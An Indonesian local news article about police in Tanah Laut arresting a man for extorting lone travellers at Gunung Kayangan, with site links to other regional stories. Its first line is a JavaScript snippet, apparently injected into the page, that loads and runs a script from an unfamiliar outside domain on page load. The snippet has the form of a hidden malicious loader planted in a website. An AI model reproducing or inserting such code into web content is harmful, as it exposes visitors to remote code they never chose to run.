(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Resahkan Warga, Pelaku Pemerasan Gunung Kayangan Ditangkap Polres Tala


PELAIHARI, Keresahan masyarakat Kabupaten Tanah Laut (Tala) setelah viralnya postingan di media sosial tentang begal di daerah Gunung Kayangan, Pelaihari, tepatnya Jalan A.Yani Desa Sungai Jelai Kecamatan Tambang Ulang, akhirnya terjawab.

AT akhirnya di bekuk satuan Reskrim Polres Tanah Laut saat akan menjalankan aksinya di daerah Gunung Kayangan Pelaihari, Selasa (9/10). Modus yang di pakai AT dengan menakuti korban yang berhenti seorang diri di daerah Gunung Kayangan dengan mengatakan bahwa dirinya baru keluar dari penjara dalam kasus pembunuhan dan tidak mau melukai orang kecuali dengan keadaan terpaksa. Hal inilah yang membuat korban takut dan menyerahkan uang.

Waluyo salah satu korban membenarkan bahwa dirinya di ancam seperti itu dan menyerahkan semua uang yang di milikinya kepada AT.

Kapolres Tanah Laut AKBP Sentot Adi Dharmawan S.IK, MH diwakili Kasat Reskrim Polres Tanah Laut AKP Gita Suhandi Achmadi, S.IK saat Press Release, menjelaskan bahwa pelaku tersebut sempat melarikan diri dan melakukan perlawanan walaupun sudah dilakukan tembakan peringatan.

“Karena pelaku melarikan diri menggunakan sepeda motor maka pihaknya melakukan penembakan di kedua ban sepeda motor yang di kendarai sehingga pelaku jatuh dan berhasil diamankan,” ungkapnya.

Kasat Reskrim Polres Tanah Laut juga menghimbau kepada masyarakat untuk segera melakukan pelaporan jika pernah menjadi korban pelaku  sehingga bisa dengan cepat ditangani Polres Tanah Laut.

AT saat di lakukan wawancara mengungkapkan bahwa dirinya melakukan tindakan kriminal tersebut karena kebutuhan ekonomi walaupun begitu AT harus mempertanggung jawabkan perbuatannya karena melanggar Pasal 368 KUHP dengan ancaman hukuman sembilan tahun penjara.

Kapolres Tanah Laut AKBP Sentot Adi Dharmawan S.IK, MH diwakili Kasat Reskrim Polres Tanah Laut AKP Gita Suhandi Achmadi, S.IK pada kesempatan ini menghimbau kepada masyarakat yang merasa pernah menjadi korban pemerasan oleh AT untuk melapor ke Polres Tanah Laut. (rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.